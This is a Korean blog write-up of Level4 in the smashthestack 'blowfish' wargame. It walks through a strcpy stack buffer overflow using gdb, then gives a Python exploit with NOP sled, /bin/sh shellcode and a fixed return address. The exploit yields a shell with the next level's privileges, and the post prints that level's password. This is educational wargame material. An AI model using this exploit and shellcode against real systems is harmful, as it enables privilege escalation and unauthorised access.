blowfish.smashthestack.org – Level4 풀이

Level4 부터는 /levels 폴더 이하에 있는 파일을 이용하여 문제풀이를 한다.

level4.c 파일을 확인해보면 다음과 같다.

#include <stdio.h>

int main(int argc, char * argv[]) {

char buf[256];

if(argc == 1) {
printf(Usage: %s input\n, argv[0]);
exit(0);
}

strcpy(buf,argv[1]);
printf(%s, buf);

}

우리는 strcpy 함수부분에서 BOF(Buffer OverFlow)가 발생함을 알 수 있다.
Buffer 공간이 충분하므로 여기에 쉘코드를 넣어서 공격을 시도하여 보자.

그전에 buffer의 주소를 확인하여 보자.

level4@blowfish:/levels$ gdb -q level4
Using host libthread_db library /lib/tls/libthread_db.so.1.
(gdb) b main
Breakpoint 1 at 0x80483fd
(gdb) r `python -c print 'A'*300`
Starting program: /levels/level4 `python -c print 'A'*300`

Breakpoint 1, 0x080483fd in main ()
(gdb) x/32wx $esp
0xbfffd810: 0x00274945 0x00122aab 0x0804825e 0x74733832
0xbfffd820: 0x35306261 0x0804818c 0x0177ff8e 0x0804824c
0xbfffd830: 0x0d696910 0x00000005 0x009cead0 0x0011534c
0xbfffd840: 0x0011da1c 0x00122b6e 0x00000000 0x00000000
0xbfffd850: 0x00697246 0x005bf078 0x00000002 0x00282ff4
0xbfffd860: 0x002836a4 0xbfffd910 0xbfffd924 0x00274b07
0xbfffd870: 0xbfffd910 0x00283650 0x00000002 0x005bf0a8
0xbfffd880: 0x00000001 0x00000000 0x00000001 0x00003638
(gdb) 
.
.
.
(gdb) 
0xbfffda90: 0x00000000 0x00000000 0x00000000 0x2f000000
0xbfffdaa0: 0x6576656c 0x6c2f736c 0x6c657665 0x41410034
0xbfffdab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdb00: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) ```

문자 'A' (41)의 위치를 확인하였으니 해당 위치로 RET를 지정해주고 공격을 해보자!

```python
#!/usr/bin/python
import os

shellcode = '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80' # len = 30
nop = '\x90'
ret = '\xc0\xda\xff\xbf'
payload = nop*238 + shellcode + ret

os.execl('/levels/level4', 'level4', payload)
level4@blowfish:/levels/tmp/byjjoon$ ./level4.py 
sh-3.1$ id
uid=1006(level4) gid=1006(level4) euid=1007(level5) groups=1006(level4)
sh-3.1$ cat /pass/level5 
yummy_bluntz

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다